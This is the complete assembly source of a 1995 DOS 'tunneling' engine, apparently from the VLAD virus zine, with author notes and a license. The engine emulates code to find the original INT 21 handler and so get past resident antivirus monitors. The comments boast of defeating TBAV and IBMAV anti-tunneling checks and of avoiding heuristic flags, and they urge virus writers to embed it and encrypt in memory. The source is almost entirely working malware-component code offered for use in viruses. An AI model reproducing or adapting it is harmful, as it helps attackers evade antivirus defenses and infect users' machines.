;>=---- * * * * * * * * * * * A. R. T. is here * * * * * * * * * * * ----=<;
; -\ * * * * * * * * * * * version 2.2 * * * * * * * * * * * -\ ;
; /_ Antigen's Radical Tunneler v 2.2 Copyright 1995, Antigen/VLAD /_ ;
;>=---- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ----=<;
;; OLD and exciting features:
; - bypasses every stable anti-tunneling code out there which is usable
; in an AV TSR, and many that aren't out there.
; - aborts gracefully if a bad situation is encountered rather than freezing
; - stack tests are futile :) (i.e. TBAV, IBMAV code is useless)
;; NEW and exciting features:
; - found a bad bug at restore_8c, it didn't restore 8c (not sure how it
; slipped by my bug-checking)
; - I forgot to include out dx,al entirely
; - fixed a problem with Desqview multi-tasking
; - only 1407 bytes addition to the file!
; - only 1536 or so bytes needed in memory (depends on temp_sp) and if
; your virus encrypts, you can use the encrypt buffer for the data
; (might want to experiment with using video memory, etc.)
; - easier porting of code, just define a label called heap, and copy the
; constant definitions from the end of this file to somewhere after
; the label - no hastle
; - supports tunneling of more than just INT 21 with a variable termination
; test procedure and tunneled vector storage location
; - doesn't use INT 1 ever
; - handles all divide overflow exceptions (instead of just divide by 0)
; - handles the bound exception
; - handles test r/m8,i8 and test r/m16,i16 correctly (whoops)
; - handles setalc
; - faster
; - written in a half week, and it works better than v 1.0
; - no heuristics flags when unencrypted by any scanner
; - this test program is easier to use - instead of returning an error code,
; it will tell you if it works or not.
; - works under DOS, QEMM, Desqview, Windows, Win32, Win95 (beta), PC-DOS 7.0
; DOS 7.0 (beta), OS/2, and even Linux's DOS emu!!
;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
;! I highly recommend that you! I even more highly re- !
;! use a variant of my entry ! commend that you at least!
;! code since it is optimized ! encrypt in memory to av- !
;! and _works_ ! oid simple scan strings !
;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
;; READ THIS! READ THIS! READ THIS! READ THIS! READ THIS!
;; License agreement:
; you the programmer are free to use ART and modify the source code as you
; wish (although I wouldn't recommend changing anything but what I designed
; to be changed) with one condition: If you release anything (virus, AV)
; which contains _any_ portion of ART, that you send me a registered (if AV)
; or commented source. There is no license fee, and I expect you to make
; necessary modifications as long as I have a copy of the code prior to
; release. This is only because I like to see where my code is used, and
; since use of ART is free, I would hope you wouldn't pirate it. To contact
; me, mail a uuencoded executable (if AV) or commented source to:
; vlad@trisection.mit.edu
; If you find any bugs or have any comments, please mail those also to
; vlad@trisection.mit.edu. Most importantly, enjoy your use of art, and
; write some kick-ass stuff which uses it :).
;; -Antigen
;----------------------------cut---cut---cut---cut--------------------------;
ideal ; use TASM - you'll like yourself more
segment code 'code'
assume cs:code,ds:code,es:code,ss:code
radix 16 ; use radix 16 or the results will be BIZARRE
org 100 ; this is a .com- doesn't have to be though
start:
push cs
pop ds
mov di,sim_flags ; this simply saves code
mov [word ptr di+(temp_sp - sim_flags)],stack_top + 40
mov [word ptr di+(_cs - sim_flags)],cs
mov [word ptr di+(_ip - sim_flags)],offset tunnel
;; set the cs:ip of art to cs:tunnel
mov [word ptr di+(test_exit - sim_flags)],offset _21test
;; use the INT 21 tunnel tester
mov [word ptr di+(tunnel_ip_ofs - sim_flags)],tunnel_ip
;; tell art where to put the tunneled cs:ip
mov [byte ptr di],0
;; clear all simulation flags
mov ah,52
int 21 ; get DOS list of lists
mov ax,[es:bx-2] ; ax = first MCB
mov [word ptr di+(firstMCB - sim_flags)],ax
mov [word ptr di+(return_address - sim_flags)],offset beginning
;; on return from saving the processor state, go to the beginning
mov ax,0de1bh
int 15
mov ah,30 ; we'll use get DOS version
jmp save_ds ; jump into art
;----------------------->> art starts simulating at this point
tunnel:
int 21 ; this is tunneled
;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21)
mov ax,0de1ch
int 15
mov ax,[word ptr di+(tunnel_ip - sim_flags)]
;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL,
;; FS segment override, GS segment override, Operand Length Override, Address
;; length override, coprocessor escape instructions, and BPICE
push cs
pop ds
cmp ax,0ffff
jne successful
mov ah,9
mov dx,offset unsuc_msg
int 21
mov ax,4c00
int 21
successful:
mov ah,9
mov dx,offset suc_msg
int 21
mov ax,4c00
int 21
unsuc_msg:
db 'Did not work :($' ; tells you if it works or not
suc_msg:
db 'Worked :)$'
;;assumptions:
; - the code will only be executed in a situation where no delta offset
; is necessary, i.e. in residence
; - radix is 16
; - ss:sp = cs:tempsp
; - saved ss:sp is valid
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; sim_flags bitmapped values:
; 8 7 6 5 4 3 2 1
; ³ ³ ³ ³ ³ ³ ³ ÀÄ set ds = traced cs in simulation
; ³ ³ ³ ³ ³ ³ ÀÄ bound interrupt hooked (0 if divide exception hooked)
; ³ ³ ³ ³ ³ ÀÄ unused
; ³ ³ ³ ³ ÀÄ unused
; ³ ³ ³ ÀÄ set es = old ds in simulation
; ³ ³ ÀÄ unused
; ³ ÀÄ unused
; ÀÄ one of either int 0 or int 5 has been hooked
unsuccessful:
mov di,[word ptr cs:tunnel_ip_ofs] ; set in the initialization
xor ax,ax
dec ax ; ax=0ffff
stosw
exit_art:
mov [word ptr cs:return_address],offset hide_tracks
jmp restore_ds ; continue where we left off
hide_tracks:
jmp [dword ptr cs:_ip] ; no traces :)
beginning:
cld
mov al,[byte ptr cs:sim_flags]
;; did the last instruction require hooking of an interrupt?
test al,80
je no_reset
xor di,di
mov es,di ; es:di = int 0 vector
test al,2 ; was it int 5?
je was_int_0
mov di,4*5 ; int 5 vector
was_int_0:
mov ax,[word ptr cs:int0_5_sip] ; saved int 0/5 vector
stosw
mov ax,[word ptr cs:int0_5_scs]
stosw
and [byte ptr cs:sim_flags],not 82 ; turn off de flags
no_reset:
push cs
pop es
mov di,simulate_buffer ; es:di = simulate buffer
;; ds:si = traced cs:ip
mov ds,[word ptr cs:di+(_cs-simulate_buffer)]
mov si,[word ptr cs:di+(_ip-simulate_buffer)]
;; exceptions always push the ip of the ofending instruction on 286+
;; and since nobody in their right mind would write software which
;; works only on 8086/8088s, I assume this will be the case.
mov [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it
;; this calls the procedure installed to test whether we've tunneled far
;; enough
call [word ptr cs:di+(test_exit-simulate_buffer)]
jnc continue_art
;; if we reach here, we're done :)
mov di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)]
;; di = 4 byte space for the tunneled cs:ip
xchg ax,si
stosw
mov ax,ds
stosw ; save the tunneled cs:ip
jmp exit_art
continue_art:
;; al = 1st byte of next instruction
lodsb
stosb ; save in simulate buffer
call scan_for_invalid ; unhandleable opcode?
jnc unsuccessful ; damn
call scan_for_prefix ; prefix?
jnc continue_art ; if so, read in next byte
call scan_for_csip_change ; modifies cs and/or ip?
;; if so, it never returns, but jumps to continue_art
call scan_for_int0_5_needed ; hook int 0/5 if needed
call scan_for_no_mrm ; simple instruction?
jnc goto_simulate ; then no problems
;; if we reach here, the instruction has a ModR/M byte which needs parsing
push ax
xchg ax,bx ; bl = instruction
lodsb ; load the ModR/M into al
skip_out:
;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0
;; have an immediate value which was never copied to the simulate buffer
cmp bl,0f6
je test_immm
cmp bl,0f7
jne no_immm
test_immm:
stosb ; save the ModR/M
mov ah,al ; again
and al,111000b ; if column 0, ZF will be set
xchg ah,al
jne no_imms
test bl,1 ; f7 has 2 bytes, f6 1
je one_immm
movsb
one_immm:
movsb
no_imms:
call immm_parse_ModRM ; skip the stosb below
jmp rest_main
no_immm:
call parse_ModRM ; store and parse the ModR/M
rest_main:
pop ax ; al = instruction byte
call scan_for_immediate ; has immediate bytes?
goto_simulate:
jmp simulate
;===========================================================================
; given a ModRM in al, determine the length of displacement
; es:di -> current location in simulation buffer
;; format of ModR/M:
;; bit: 8 7 6 5 4 3 2 1
;; Mod: 1 1 = register value, i.e. just a ModR/M byte
;; Mod: 1 0 = memory value + a 16 bit displacement
;; Mod: 0 1 = memory value + an 8 bit displacement
;; mrm: 0 0 1 1 0 = just a 16 bit displacement
;; mrm: 0 0 x x x = just a ModR/M byte (x x x != 1 1 0)
parse_ModRM:
stosb ; save the ModRM
immm_parse_ModRM:
mov ah,al
and al,0c0 ; isolate the Mod and the R/M
cmp al,0c0
je no_disp
cmp al,80
je disp16
cmp al,40
je disp8
and ah,111b
cmp ah,6
jne no_disp
disp16:
movsb
disp8:
movsb
no_disp:
ret
;===========================================================================
restore_ds:
mov ds,[word ptr cs:_ds]
restore_proc_state:
mov ax,cs
mov ss,ax
mov sp,stack_bottom
pop ax bx cx dx si di bp es
popf
pop ss
mov sp,[word ptr cs:_sp]
jmp [word ptr cs:return_address]
;===========================================================================
save_ds:
mov [word ptr cs:_ds],ds
save_proc_state:
mov [word ptr cs:_sp],sp
mov [word ptr cs:_ss],ss
mov [word ptr cs:_ax],ax
mov ax,cs
mov ss,ax
mov sp,stack_top
pushf
cli
push es bp di si dx cx bx
mov ax,cs
mov ss,ax
mov sp,[word ptr cs:temp_sp] ; use temporary stack
jmp [word ptr cs:return_address]
;===========================================================================
;===========================================================================
simulate:
;; write the ret to simulate buffer
call write_ret
mov di,sim_flags ; save bytes
;; zero return address for now
and [word ptr cs:di+(return_address - sim_flags)],0
test [byte ptr cs:di],10 ; set es = ds?
je no_es
sub [word ptr cs:di+(return_address - sim_flags)],\
start_simulate-let_es_eq_ds ; adjust return address
no_es:
test [byte ptr cs:di],1 ; set ds = cs?
jne let_ds_eq_cs ; ds already = cs
;; restore ds if we don't need it to be cs
mov ds,[word ptr cs:di+(_ds - sim_flags)]
let_ds_eq_cs:
add [word ptr cs:return_address],offset start_simulate
jmp restore_proc_state
let_es_eq_ds:
mov [word ptr cs:temp_es],es ; remember for afterwards
mov es,[word ptr cs:_ds] ; set es = ds
start_simulate:
mov [word ptr cs:return_address],offset ds_cleanup
jmp near simulate_buffer ; do de dirty werk
ds_cleanup:
mov [word ptr cs:return_address],offset test_ds
jmp save_proc_state ; save everytink but ds
test_ds:
mov di,sim_flags
test [byte ptr cs:di],10 ; was es = ds?
je es_is_just_fine_the_way_it_is ; heh, guess not
mov ax,[word ptr cs:di+(temp_es - sim_flags)]
mov [word ptr cs:di+(_es - sim_flags)],ax
es_is_just_fine_the_way_it_is:
test [byte ptr cs:di],1 ; was ds = cs?
je normal_cmp ; if so, and ds now != cs,
mov ax,ds ; we want top save the change
cmp ax,[word ptr cs:di+(_cs - sim_flags)]
jne normal_cmp
mov ds,[word ptr cs:di+(_ds - sim_flags)]
normal_cmp:
mov [word ptr cs:di+(_ds - sim_flags)],ds
and [byte ptr cs:di],not 11 ; turn off ds = cs,es = ds
cycle:
jmp beginning ; go topside
;===========================================================================
write_ret:
mov [word ptr cs:_ip],si ; save new ip
mov ax,0ff2e ; cs:...
stosw
mov ax,(low offset return_address) shl 8 + 26
stosw
mov al,(high offset return_address)
stosb ; ...jmp [return_address]
ret
;===========================================================================
scan_for_invalid:
mov bx,offset invalid_sfi
mov cx,end_invalid_sfi - invalid_sfi
jmp scan ; let scan handle the ret
invalid_sfi:
db 0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1
end_invalid_sfi:
;===========================================================================
scan_for_prefix:
cmp al,2e ; cs:?
je set_sfp
reset_sfp:
mov bx,offset prefixes
mov cx,end_prefixes - prefixes
call scan
jc no_reset_sfp
and [byte ptr cs:sim_flags],not 1 ; turn off ds = cs flag
no_reset_sfp:
ret
set_sfp:
or [byte ptr cs:sim_flags],1 ; turn on ds = cs flag
;; set al = 3e which is ds:
or al,10 ; this auto. clears carry :)
dec di ; replace the cs:
stosb
ret
prefixes:
db 26,36,3e,64,65,0f0,0f2,0f3
end_prefixes:
;===========================================================================
scan_for_int0_5_needed:
push ax es di
cmp al,0f6 ; DIV/IDIV
je needed0
cmp al,0f7
je needed0
cmp al,0d4 ; AAM
je might_need_0
cmp al,62 ; Bound
je needed5
do_da_ret_thang:
pop di es ax
ret
needed5:
mov di,4*5
or [byte ptr cs:sim_flags],2 ; remember it was int 5
jmp skip_0
might_need_0:
lodsb ; the immediate of AAM
dec si
or al,al ; is it 0?
jne do_da_ret_thang ; if so we need to hook int 0
needed0:
xor ax,ax
mov di,ax
mov es,ax ; es:di = int 0 vector
skip_0:
or [byte ptr cs:sim_flags],80 ; remember we hooked an int
mov ax,[es:di]
mov [word ptr cs:int0_5_sip],ax
mov ax,[es:di+2]
mov [word ptr cs:int0_5_scs],ax ; save the vector
mov ax,offset int0_5
stosw
mov ax,cs
stosw ; set it to ours
jmp do_da_ret_thang
;===========================================================================
standard_cfar: ; call far
push ds ; return cs
lea ax,[si+4] ; return ip
push ax
;===========================================================================
standard_far:
lodsw
lodsw ; ax = the new cs
mov ds,ax
f_standard_far:
or al,8 ; make sure al is non-zero
cmp ax,0 ; shorter than a jmp short
org $ - 2
standard_near:
mov al,0 ; make sure al = 0
do_gnear:
mov [word ptr cs:_ip],bx ; save the new ip
or al,al ; was it far?
je near_direct
do_gfar: ; if al != 0 then
mov [word ptr cs:_cs],ds ; yes
near_direct:
jmp to_beginning ; restore temp stack
;===========================================================================
do_cnear:
lea ax,[si+2] ; return ip
push ax ; save on stack
jmp do_near ; do near jump procedure
;===========================================================================
do_cond:
mov [byte ptr cs:test_jcond],al ; save the jump
mov cx,[word ptr cs:_cx] ; if loop, it uses cx
xchg bh,bl ; bh = short offset
mov bl,0 ; set the current jmp to 0
mov bp,sp
mov bp,[bp-2] ; bp = stack word
push [word ptr cs:flags]
popf ; restore flags
push bp ; keep the stack untarnished
pop bp
jmp test_jcond ; flush prefetch on 486-
test_jcond:
;; the je is replaced with the jump of choice (current instruction)
je has_offset
cmp ax,0 ; shorter dan a jmp short
org $ - 2
has_offset:
mov bl,bh ; use the short offset
mov [word ptr cs:_cx],cx ; save any changes to cx
;; al = relative offset
do_short:
xchg ax,bx
cbw ; convert the short to a near
xchg ax,bx
dec bx ; short jmps are 2 bytes
;; bx = relative offset
do_near:
inc bx
inc bx
inc bx ; near jmps are 3 bytes long
add [word ptr cs:_ip],bx ; set new ip
;===========================================================================
to_beginning:
mov [word ptr cs:_sp],sp ; remember changes to sp
mov bx,cs
mov ss,bx
mov sp,offset stack_top+300 ; use temporary stack
jmp beginning ; cycle
;===========================================================================
scan_for_csip_change:
mov bx,offset temp_sp
mov [word ptr cs:bx],sp ; save current sp
;; use original stack (smaller code)
mov ss,[word ptr cs:bx+(_ss - temp_sp)]
mov sp,[word ptr cs:bx+(_sp - temp_sp)]
xchg ax,bx
lodsw
xchg ax,bx
;; al = current instruction, ah = 0 (4 lines down)
;; bx = next 2 bytes
dec si
dec si
mov ah,0
cmp al,9a ; call far
je standard_cfar
cmp al,0ea ; jmp far
je standard_far
cmp al,0ebh ; jmp short
je do_short
cmp al,0e9 ; jmp near
je do_near
cmp al,0e8 ; call near
je do_cnear
cmp al,0e0 ; loopne
jb no_cond ; loope is e1, loop is e2
cmp al,0e3 ; jcxz
jbe do_cond
no_cond:
cmp al,70 ; all the jx/jnx jumps
jb not_jcond
cmp al,7f
jbe do_cond
not_jcond:
cmp al,0c2 ; ret iw
je iw_ret
cmp al,0c3 ; ret
je standard_ret
cmp al,0ca ; retf iw
je iw_retf
cmp al,0cbh ; retf
je standard_retf
cmp al,0cc ; int 3
je trap_int
cmp al,0cdh ; int xx
je do_int
cmp al,0ceh ; into
je overflow_int
cmp al,0cfh ; iret
je do_iret
cmp al,0ff ; indirect jmp/call (maybe)
je test_ff
jmp restore_temp_stack ; return to the sim cycle
;===========================================================================
iw_retf:
;; remember that this is a retf and also not an iret
or ax,101
iw_ret:
;; remember that an imm16 must be added to sp
or ah,2
test ah,1
jne standard_retf
standard_ret:
mov al,0 ; not retf
cmp ax,0 ; shorter jmp short
org $ - 2
standard_retf:
and al,not 2 ; not iret
do_iret:
do_retn:
pop [word ptr cs:_ip] ; pop ip from stack
test al,1 ; far?
je retn_only
pop [word ptr cs:_cs] ; pop cs from stack
test al,2 ; iret?
je retf_only
pop [word ptr cs:flags] ; pop flags
retf_only:
retn_only:
test ah,2 ; immediate word?
je no_iw
add sp,bx ; bx = that word (ca xxxx)
no_iw:
jmp to_beginning ; cycle
;-----------------------------
; thses are used by test_ff
goto_call_near:
push si
goto_jmp_near:
jmp standard_near
goto_call_far:
push [word ptr cs:_cs] si
goto_jmp_far:
jmp f_standard_far
;===========================================================================
overflow_int:
test [word ptr cs:flags],800 ; OF set?
mov bl,4 ; int 4 if so
jne do_sint
mov bx,si ; si = instruction after INTO
jmp do_gnear ; reuse code to save size
trap_int:
mov bl,3 ; use int 3
do_sint:
dec si ; cc,ce are 1 byte < cd xx
;===========================================================================
do_int:
mov bh,0 ; bx = int number
shl bl,1
shl bl,1 ; bx = bx*4
inc si
push [word ptr cs:flags] ds si ; order of stack in an int
and [byte ptr cs:flags+1],not 3 ; turn off TF & IF
xor ax,ax
mov ds,ax
lds bx,[bx] ; ds:bx =int vector
or al,8 ; it's far, so remember
jmp do_gnear
;===========================================================================
test_ff:
mov ax,cs
mov ss,ax
mov sp,[word ptr cs:temp_sp] ; need temporary stack
lodsb ; al = ModR/M
mov ah,al ; remember it
and al,111000b ; isolate opcode in ModR/M
push ax ; save for later
cmp al,2 shl 3
jb not_csip_ff
cmp al,5 shl 3 ; if 5 > reg > 2 it needs sim
ja not_csip_ff
call get_ModRM ; get the new cs:ip
xchg ax,bx ; ds:bx = new cs:ip
pop ax ; ax = reg of Mod reg R/M
mov ss,[word ptr cs:_ss]
mov sp,[word ptr cs:_sp]
mov si,[word ptr cs:_ip]
cmp al,2 shl 3 ; call near
je goto_call_near
cmp al,3 shl 3 ; call far
je goto_call_far
cmp al,4 shl 3 ; jmp near
je goto_jmp_near
cmp al,5 shl 3 ; jmp far
je goto_jmp_far
not_csip_ff:
dec si ; ds:si -> ModR/M
pop ax ; pop to get the ret to work
mov al,0ff ; now it's like when started
ret
;===========================================================================
scan_for_no_mrm:
cmp al,0e ; push cs
jne not_pushcs
dec di ; es:di -> push cs
or al,10 ; push ds
stosb ; switch push cs with push ds
or [byte ptr cs:sim_flags],1 ; remember to set ds = cs
ret
not_pushcs:
cmp al,8c ; mov r/m16,segmentr register?
jne not_mov_reg_seg
lodsb ; al = ModR/M
push ax ; save it
and al,111000b ; isolate the register
cmp al,1000b ; cs?
jne not_cs
or [byte ptr cs:sim_flags],1 ; set ds = cs and use ds
pop ax
or al,10000b ; now = ds
setup_skip:
pop bx ; pop the return address
push ax ; setup to skip normal route
mov bl,08c
jmp skip_out ; go directly to parse_modR/M
not_cs:
;; now to check for:
; mov [cs:somewhere],ds
; which becomes
; mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops)
; so I use
; mov [ds:somewhere],es and set es = ds
cmp al,11000b ; ds?
jne restore_8c
test [byte ptr cs:sim_flags],1 ; is ds = cs? urgh, problem
je restore_8c
or [byte ptr cs:sim_flags],10 ; OK, use es instead
pop ax
xor al,11000b ; use es
jmp setup_skip
restore_8c:
dec si
pop ax
mov al,8c
stc
ret
not_mov_reg_seg:
cmp al,0c8 ; enter?
jne next_sfnm
movsw ; the only 4 byte instruction
movsb
ret
next_sfnm:
cmp al,40
jb do_scan_sfnm ; 40 <= instructions <= 61
cmp al,62 ; are all 1 byte instructions
cmc
ja success_sfnm
do_scan_sfnm:
cmp al,90 ; 9a is never seen here
jb do_scan_sfnm2 ; 90 <= instrucitons <= 9f
cmp al,0a0 ; are all 1 byte instructions
cmc
ja success_sfnm
do_scan_sfnm2:
push ax
mov bx,offset one_byters
mov cx,two_byters - one_byters
call scan ; scan for 1 byters
jnc success1
mov cl,three_byters - two_byters
call scan ; scan for 2 byters
jnc success2
mov cl,end_sfnm - three_byters
call scan ; and three byte instructions
jc no_success_sfnm
movsb
success2:
movsb
success1:
mov ah,0 ; shorter jmp short
org $ - 1
no_success_sfnm:
stc
pop ax
success_sfnm:
ret
one_byters:
db 6,7,0e
db 16,17,1e,1f
db 27,2f
db 37,3f
db 6c,6dh,6e,6f
db 0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
db 0c9
db 0d6,0d7
db 0ee
;skip halt (no need to worry if that's executed!)
db 0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
two_byters:
db 04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
db 6a ;push imm8
db 0a8 ;test al,ib
db 0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7 ;mov rl/h, ib
db 0d4,0d5 ;aam and aad
db 0e4,0e6 ;in/out al,ib
db 0e5,0e7 ;in/out ax,ib
three_byters:
db 05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
db 68 ; push imm16
db 0a0,0a1,0a2,0a3 ;mov al/ax,[mx],mov [mx],al/ax
db 0a9 ;test ax,iw
db 0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf ;mov rx,iw
end_sfnm:
;===========================================================================
scan_for_immediate:
push ax ; opcodes with an imm value
mov bx,offset immediates_8
mov cx,immediates_16 - immediates_8
call scan
jnc success_1_sfi
mov cl,end_immediates - immediates_16
call scan
jc no_imm_sfi
movsb
success_1_sfi:
movsb
no_imm_sfi:
pop ax
ret
immediates_8:
db 6bh,80,82,83,0c0,0c1,0c6
immediates_16:
db 69,81,0c1,0c7
end_immediates:
;===========================================================================
; es:bx = index
; al = byte to scan for
; cx = number of bytes to scan
scan:
cmp [es:bx],al
je found_scan
inc bx
loop scan
stc
found_scan: ; if =, CF will be cleared
ret
;===========================================================================
_21test:
;; check for instructions which DO NOT exist at DOS entry point
cmp [byte ptr si],0cf ; iret
je not_in_DOS
cmp [byte ptr si],0cbh ; retf
je not_in_DOS
cmp [byte ptr si],0ca ; retf iw
je not_in_DOS
cmp [byte ptr si],0c3 ; ret
je not_in_DOS
cmp [byte ptr si],0c2 ; ret iw
je not_in_DOS
mov ax,si
mov cl,4
shr ax,cl ; un-segmentize
;; segmentize our current location
mov cx,ds
add ax,cx
cmp ax,[word ptr cs:firstMCB]
not_in_DOS:
ret
;===========================================================================
;; interrupt handler (sets up tracing through the int handler)
int0_5:
mov di,sim_flags
add sp,4
;; push the 'real' return address, replacing the simulate buffer's location
push [word ptr cs:di+(_cs - sim_flags)]
push [word ptr cs:di+(int0_5_ip - sim_flags)]
;; save the new sp
mov [word ptr cs:di+(_sp - sim_flags)],sp
lds ax,[dword ptr cs:di+(int0_5_sip - sim_flags)]
;; ds:ax = new cs:ip (location of their int 0/5 vector
mov [word ptr cs:di+(_cs - sim_flags)],ds
mov [word ptr cs:di+(_ip - sim_flags)],ax
;; restore temp_stack
mov ax,cs
mov ss,ax
mov sp,offset stack_top + 300
and [byte ptr cs:di],not 11 ; turn off any flags still on
jmp beginning ; cycle
;===========================================================================
get_ModRM:
mov [word ptr cs:temp_sp],sp
dec di
;; use a temporary instruction to get what's at the ModR/M easily
mov al,0c5h ; lds r16,r/m16
stosb
mov al,ah
and al,11000000b ; look at the Mod
;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so
;; use mov r16,r16 instead
cmp al,11000000b
jne OK_to_use_lds
;; this only happens for call,jmp near
dec di ; es:di -> lds r16,r/m16
mov al,8bh ; mov r16,r/m16
stosb ; replace the lds
OK_to_use_lds:
mov al,ah
and al,11000111b ; set r16 to ax
call parse_ModRM ; copy correct number of bytes
call write_ret ; write the return and save ip
mov [word ptr cs:return_address],offset next_gmw
test [byte ptr cs:sim_flags],1 ; ds = cs?
je no_gmw_ds
jmp restore_proc_state ; restore all but ds
no_gmw_ds:
jmp restore_ds ; restore everything
next_gmw:
mov [word ptr cs:return_address],offset next_gmw1
jmp near simulate_buffer ; get the address in ds:ax
next_gmw1:
and [byte ptr cs:sim_flags],not 1 ; turn off the flag
restore_temp_stack: ; self-explanatory
mov bx,cs
mov ss,bx
mov sp,[cs:temp_sp] ; all set :)
ret
;===========================================================================
; put this label anywhere you want
heap:
sim_flags = offset heap
firstMCB = sim_flags + 1
tunnel_ip = firstMCB + 2
simulate_buffer = tunnel_ip + 4
temp_es = simulate_buffer + 16
return_address = temp_es + 2
temp_sp = return_address + 2
tunnel_ip_ofs = temp_sp + 2
int0_5_ip = tunnel_ip_ofs + 2
int0_5_sip = int0_5_ip + 2
int0_5_scs = int0_5_sip + 2
_ip = int0_5_scs + 2
_cs = _ip + 2
_ds = _cs + 2
stack_bottom = _ds + 2
_ax = stack_bottom
_bx = _ax + 2
_cx = _bx + 2
_dx = _cx + 2
_si = _dx + 2
_di = _si + 2
_bp = _di + 2
_es = _bp + 2
flags = _es + 2
stack_top = flags + 2
_ss = stack_top
_sp = _ss + 2
test_exit = _sp + 2
ends code
end start
- VLAD #4 INDEX -